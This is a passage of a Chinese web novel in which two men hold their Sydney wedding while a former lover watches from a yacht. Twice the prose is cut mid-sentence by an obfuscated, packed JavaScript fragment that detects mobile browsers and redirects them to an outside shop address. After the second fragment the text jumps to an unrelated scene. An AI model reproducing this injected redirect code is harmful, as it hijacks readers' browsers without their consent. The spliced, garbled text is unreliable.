dreamy.”他一向不太敢当着江永安的面夸别的男人英俊,但江永安对曾老师已经彻底服气,拉他向曾闰成介绍。 Johnson外表其实没有之前的意大利帅哥莱昂帅气,但是言谈之间透露出是脾气温和的人,而且看得出他很爱江永安,坐在一块用餐的时候,江永安说得眉飞色舞,他在一边含笑注视着,就像傅廷恩当初看曾闰成那样。 “我觉得他俩能成,”傅廷恩忍不住用汉语跟曾闰成感叹了一句,“听这个话痨鬼扯还能一脸陶醉的表情,应该是没跑了。” 四个人在饭桌上,傅廷恩跟曾闰成说汉语其实是有点失礼的,但他是附在曾闰成耳朵边说的。 结果仍然被耳尖的江永安听见,他尖叫起来,“什么话痨?我这话痨差点把你睡了好吗?!如果不是我大发慈悲放你一马……” 江永安就是这样,正常人会觉得尴尬的点,他完全不当一回事,还能自己拿出来调侃。 傅廷恩赶忙去看曾闰成脸色,又用英语说,“你是欺负Johnson听不懂中文吗?要不要我帮你翻译一下……” 曾闰成却是完全不在意,“哈哈”的笑着,“想睡傅总的人还真不少呢,他们公司评选‘员工最想睡的老板’,小傅总荣登榜首啊!” 澳洲公司的企业文化跟华国跟欧美都不太一样,对老板少了那么一点惧怕,多了几分随意。 尤其小傅总才二十八,稍微年轻了一点,又长得无比帅气,女员工私底下经常调侃和YY他。 曾闰成和傅廷恩隔三岔五回哥嫂别墅吃饭,薛婵娟经常跟曾闰成嘀咕这些八卦。 这下轮到傅廷恩有点脸红了,先是极力否认,“哪有,没有的事。”看曾闰成一脸笃定,又改口,“你说老板,总共才几个选项?”他凑到曾闰成耳朵边,“反正想睡也睡不到,只给你睡……” 江永安看他俩腻歪的样子,牙酸得不行,举起手中酒杯,“来来来,为‘员工最想睡的老板’干一杯!”逼着傅廷恩和曾闰成喝了个满杯。傅廷恩的酒量江永安有数,但是曾闰成貌似不行,这么开心的日子总得灌醉一个。 他向Johnson使了个眼色,两人很有默契的轮流向曾闰成敬酒,傅廷恩有心阻止,架不住他们借口太多,一会“感谢曾老师曾为我答疑解惑”,一会“欢迎曾老师来到悉尼我的地盘”,一会“让我们为爱情干一杯”,各种狗屁倒灶的理由,一瓶酒还不够他们造,又开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993204|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瓶。 总之一顿饭吃完,曾闰成已经有了七分醉意,两颊酡红,眉目迷离,江永安还不肯罢休,非拖着他俩下去看电影。 这是悉尼的中央商务区,下楼就有电影院、酒吧、健身房、百年酒店等便利设施。曾闰成脚步都有些蹒跚,被傅廷恩半搂半抱走进电影院。 电影刚开场,江永安就听到身后传来“唧唧”的水声,稍稍回过去半个脑袋,荧屏的蓝光里,曾闰成和傅廷恩正吻得难舍难分。 曾老师平时是没有这么开放的,不用说今天这两瓶红酒有功劳。 江永安掉过头,按了按胸口,兄弟,要狠狠幸福呀。 ————————————————————————— 傅廷恩和曾闰成入住这套悉尼市中心的Penthhouse后,几乎每个周末傅廷恩或者江永安都会带朋友来家里聚会。 房子面积够大,位置又十分便利,一周一次的热闹也是曾闰成可以接受的程度,朋友里头不乏美食制作高手,不少甚至会自备食材过来。 公司的合作伙伴、牛津剑桥的校友、本地的华裔、Johnson的一些白人朋友,都是他们的座上宾。 家世与傅、江二人相当的,基本都身负才艺,每次聚会弹钢琴的、唱歌的、拉小提琴的、吹萨克斯的……各种表演轮番上场。 除了美食、美酒,才艺的展示也让年轻的心更容易靠近,友谊也在不断累积,于是聚会的圈子不断扩大,到最后俨然成了澳洲华人上流圈层的聚集地,也是傅廷恩事业腾飞的起源地,当然,这就是后话了。 婚礼策划师在傅廷恩的安排下,来参加过几次聚会,跟曾闰成混熟了些,之后他提出一些建议,曾闰成果然没有反对,他对熟人的信任度和包容心都要强一点。 于是婚礼完全按照傅廷恩的设想不断推进,首先是VCR的拍摄,他开始连婚纱照都不想拍,更别提VCR,还让他带假头套装逼,他一百个不愿意,但是婚礼策划师和傅廷恩轮番劝说,最终婚礼当天播放的VCR传到网络后,再一次引起了轩然大波,甚至引发了一波婚礼的新潮流。 VCR的基调是三生三世,第一世,曾闰成打扮成仙君的模样,白衣飘飘,头上一顶玉冠,黑发垂在双肩两侧,执一本书卷,坐在桃花树下玉石案前,一手撑额,似乎昏昏欲睡。 傅廷恩也是古装扮相,但是挑高的马尾,红衣黑甲,俨然是仙君座下弟子。他痴痴看着师尊,低声道,“心悦君兮君不知。” 第二世是民国年间,傅廷恩骑在高头大马上,军服紧扣,两侧的肩章熠熠生辉,他在随从的簇拥下,打马走过青石板街道。 曾闰成穿一袭长衫,鼻梁上架着黑框眼镜,肋下夹着书卷,两人的目光在人潮汹涌中交汇。 第三世则是今日的剧情,大屏幕上滚动着两人相识以来的照片,每一张都贴心的标注了日期,从简陋出租屋里曾闰成做饭的场景到美因河畔两人亲吻的照片、稀树大草原两人在晨光中背靠背、迪拜的海滩两人牵手漫步沙滩……最后是傅廷恩下跪求婚。 并没有编辑很复杂的剧情,但是视频无论从画面色调到选配的音乐都十分完美,剪辑又相当厉害,短短几分钟的视频,那种缘定三生的宿命感将观者牢牢网住。但凡看过这段视频的人,几乎没有人不送上祝福。 “天啊,他们真的好般配!而且他们一定很相爱!” “就是就是,这是爱到骨子里了!祝福~撒花~要永远幸福下去哟!” “每一世都是1先动心哎,但是确实很值得就是了,仙君就是那么招人爱啊。” “啊啊啊,我要磕定这对CP!这就是爱情该有的模样!” 如果说之前的求婚视频,两人被扒底细,有部分人群对两人的师生关系提出了质疑,那么观看这个视频后,基本都明白了事情的前因后果。 虽然没有明说,但每一帧照片标注的时间和账号来源,都很明显的表达出,学生对老师产生了暗恋,但两人结束师生关系后感情才有了进一步的发展。 傅廷恩是无法容忍任何一点对曾闰成的质疑的,他爱得那么深,全世界都知道了。 88.第 88 章 越接近五月中旬,卢可越能感受到李景麟情绪的低落。他几乎整夜都难以入睡,即使用性|爱和酒精麻痹,也最多四五个小时就会再度睁开眼睛。 不能安睡,食欲也不太好,难免暴躁易怒,卢可无条件的包容,用极恭敬的态度陪着小心,不单单是出于交易和这场交易带来的成果。 几个月的相处足够他深入的了解前因后果,网络上疯传的两段视频也让他很清楚这个临近五月中旬的日期意味着什么。他有些心疼,又有些许担忧。 终于在一天清晨,李景麟掀开了被子,“腾”的站起身,走到门口用德语吩咐保镖,卢可已经大概听得懂,是让他们通知机长,准备远距离飞行。 他无法控制的惊慌失措,难道还不能善罢甘休吗?但他什么也不能说,只能快速的收拾行李。 等他们踏上舷梯,Tina小跑着追了过来,气喘吁吁用粤语问李景麟,“老板,我可以一起吗?”李景麟点了点头。 飞机先飞到迪拜,补充燃油后转飞悉尼。二十多个小时的航程,一万多公里的距离,这真的是跨山越海来参加你的婚礼了,或许是搞砸你的婚礼?卢可忍不住感慨。 下了飞机已近黄昏,没有任何停顿,早已等候的两台车接了他们一行人,直接驶往港口,一个半小时的游艇破浪疾行,终于停靠在了一片平静的海域。 海面已经停靠着不少游艇,但舵手很厉害,见缝插针的挤进了一个视野极佳的位置。 于是卢可和Tina即使站在李景麟的身侧,无需借助望远镜,也可以清楚的看到岸上正在举行的婚礼。 五月是悉尼的初秋,整个海岛呈现出层层叠叠的翠绿、浓绿再过渡到浅黄、金黄。 以黄绿为底色,漫天的五彩气球构筑了数道彩虹桥,就连停靠在海面的游艇有不少都刷上了彩虹桥的标志。 岸边拥挤着形形色色的人群,此刻却都安静的注视着方形礼台上矗立的两抹身影。 曾闰成平时总是休闲装为主,很少穿得这样正式,在李景麟的印象里,这是他第一次看见他穿礼服。 藏青色、裁剪利落的西装穿在他修长的身段上,是那样的合身。胸口露出同色系的浅蓝色衬衫,领结也是藏青色,越发衬托得他面如冠玉。 而傅廷恩则穿一袭白色西服,这个颜色相当挑身材,只有这样高挑挺拔的身段才能完美驾驭,即使隔着点距离,他脸上洋溢的璀璨笑容也看得一清二楚,那是发自内心的喜悦。 人很多且肤色各异,傅廷恩手执话筒,用英语念结婚誓词: 亲爱的闰成(Jasper),当我看到你的第一眼就确定你是我要一生守护的人,当年我只有十八岁,那是我关于人生做的第一个最郑重的决定,也是最正确的决定。谢谢你接受我,支持我,信任我,爱我,即使你很少用言语表达,但清晨时你睁开的双眼,下班回家时你给我的微笑,偶尔喝醉时你递过来的那一杯浓茶,我失败时你张开双臂给我拥抱,你教会我完全接受自己,也让我成为了一个坚强和完整的人。I think I’ve loved you since the day I met you And I’ll love you till the end of time. 傅廷恩在伦敦念的大学,他说英语是纯正的伦敦腔,尤其念这么感性的语句更带有一种叙事感,他的目光凝视在曾闰成脸上,深情、珍爱,无遮无拦。 相对傅廷恩的誓词,曾闰成说的就要简短得多,他清澈的声音通过话筒的扩散,清晰的传达到海岸边、游艇上、所有人的耳中:“True love is what healed me,I’ll love you till the end of time.” 真爱治愈了我,我将爱你到时间的尽头。 他的声音微微发颤,并不如何铿锵有力,却成功让挺立静默的身影抖了抖,向后退了半步。 卢可伸出手想要搀扶李景麟,但高大挺拔的背影又沉寂下来,他伸出的手收回来,目光瞄到伺立在李景麟背后的Tina,她倒是毫不掩饰的泪流满面,目光牢牢锁定岸上的身影,面庞上是欣慰的神色。这位姐倒是勇,而且看样子之前跟曾闰成关系不错。 卢可将视线转回到岸上,一对新人已经在亲友的祝福声中拥抱亲吻,欢快的音乐瞬间响彻整个海岛。卢可逐渐放下心来,看样子李景麟并没有将原版抢回来的打算。 夜幕逐渐降临,三人在昏沉的光线中静默伫立着。 李景麟终于挥了挥手,游艇开始返航,没有来时的疾速,悠悠的慢慢的远离了那份快乐和热闹。 在他转身的背后,绚烂的烟花响彻了整个夜空,耀眼的光芒,将缓缓聚拢的黑暗完全的驱散。 这一晚,烟花围绕着整个海岛足足燃放了四个小时,夜空像一块巨大的黑色天鹅绒,而一束束烟花像璀璨的宝石点缀其上,在天幕书写出“新婚快乐永远幸福”的字样。 这个豪奢的操作引来了澳洲各大媒体报刊的争相报导,婚礼的视频、烟花燃放的视频,也在互联网上将这场同性婚礼推向了又一个高潮,傅氏旗下的几只股票都有不同幅度的上扬。 别人可能不清楚,江永安在澳洲混了这么久,因为光伏的项目跟政|府部门交道比较多,环岛烟花燃放不止费钱,手续审批也相当麻烦。 他带了点质疑的口吻,偷偷拍拍傅廷恩肩膀,在他耳边低声道,“哥们,这也太豪了一点吧?大几百万就这么放掉了?” 傅廷恩没说话,却回头看了他一眼,江永安接触到他的目光,愣了一下,醒悟过来,得,这烟花不是傅家的手笔! 傅廷恩走过去揽着曾闰成的肩膀,霞光映红他们的脸庞和嘴角的微笑。江永安看着他们的侧影,咽下了所有的感叹。 江永安知道曾闰成当时“死亡”的真相,但是傅廷恩一再叮嘱他不要询问曾闰成这三年发生的事情,二次开颅手术后他已经失去了这三年的记忆。 他看着漫天绚烂的烟花,实在无法停止猜想,难道这三年里曾闰成和李景麟是相爱的? 李景麟在金城的社交圈里足足消失了三年的时间,只有极偶尔、很重要的场合才会参与,与曾闰成消失的时间重合,很明显这三年这两人在一起。 可不管怎么说,他既然放曾闰成离开,又在婚礼当天送上祝福,应该是放下了吧。 卢可也在期待着李景麟彻底放下,亲眼目睹了那两人的恩爱,亲耳听到他们的结婚誓词,从此他无论从法律层面,还是精神、肉|体都完完整整的属于另一个人。 再深的迷恋也该消弥了。 回程的飞机上,李景麟没有说话,却将威士忌喝了一杯又一杯,Tina向卢可使眼色。 卢可先回房间换了一套衣服,又整理了一下发型,对着镜子调整出合适的表情,才走到李景麟跟前,拿过他手里的水晶杯,“景麟,别喝了。” 他搀着他的胳膊扶他站起,又牵着他的手回到舱房,顺从的褪去身上的衣物,完全的打开,接纳他的痛苦与撞击。 他知道他只是一个替身,他听到李景麟带着醉意在他耳边呢喃,“闰成,我也可以向全世界宣告我爱你,可是……哼,”李景麟低低的笑起来,“你不会再给我这个机会了……” “True love is what healed me……True love is what healed me……”他不断的重复这一句,“是我伤害了你……才给了别人治愈你的机会……” 有淡淡的潮意浸润在卢可的脖颈,他紧紧的拥住李景麟,第一次真真切切的对曾闰成燃起了嫉妒之心。 其实单从交易的角度而言,卢可顶着这张相似的脸,算是赚足了便宜。 他上了三个月的表演课,一直都是一对一,给他上课的几位老师都是网络一查履历一拉就知道分量的人物,他们交替着到古堡来小住,专门给他上课,他的演技进步很快。 他的第一个角色是拿过戛纳最佳导演的新片,虽然只有几分钟出境,但角色正面且立体,堪比国内一线才有的待遇,对于娱乐圈新星来说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他在引着傅廷恩亲耳听到、引着苏秘书亲口说出这个秘密的时候,心里的确非常痛快,可真正到了接收后果,彻底切割的时候,他又痛不欲生。说到底,他还是没有李景麟冷酷无情。 他不忿的怒吼,“这事是你说出来的,凭什么你能全身而退,所有罪责都在我身上?” 苏秘书不由得哂笑,宋奕跟了李景麟那么多年,都没有摸清楚李家对继承人的培养程序,当然,这也是李家在商场屹立多年不倒的原因。 “谁说我毫发无损?”她手指圈了圈,指了指一地狼藉,“我都沦落到来管这些事了,你原来才进圈的时候是谁来替你打理这些琐事你忘记了?”确实不是苏秘书,扶植一个新人不是首秘的工作范畴。 “所以你那位应该谢谢你,”苏秘书意有所指,嘴角露出一抹嘲讽的笑意,“或者你把他挖走,给我个重新上位的机会?” 宋奕心中一动,他已许久没有跟徐理联系过,看样子他已经取代苏秘书,成为了李景麟身边的第一人。或许他可以另辟蹊径。 他让司机绕了好几圈,确定身后没有狗仔跟踪,才来到了徐理的公寓,结果一刷指纹,竟然进不去? 他的心瞬间凉了半截,但徐理今天休息在家,听到门口有响动,走过来打开门,看到宋奕乔装过后的身影,却没有邀请他进门,只淡声道,“有事?” 宋奕看他一脸冷淡的表情还有什么不明白?他将原本要说的话咽了回去,沉默片刻之后,低声道,“徐理,你愿意去帮我打理团队吗?年薪对标你在君临的薪资。” 他想起苏秘书的建议,亦不肯死心,如果一定要跟君临切割,徐理会跟他走吗? “感谢您的错爱,但我目前没有离职的打算。”君临集团董事长首席秘书和一线艺人经纪团队主理人,明眼人都知道该怎么选。徐理半点犹豫也没有,当着他的面关上了门。 宋奕愣了十秒,转身下楼,他没有进电梯,拖着脚步顺着安全梯一直往下走。 脑海里掠过无数个片段,却一帧也抓不住。他无意识的勾起唇角,自嘲的笑了笑。这才是都市的爱情呵,这才是成年人的抉择。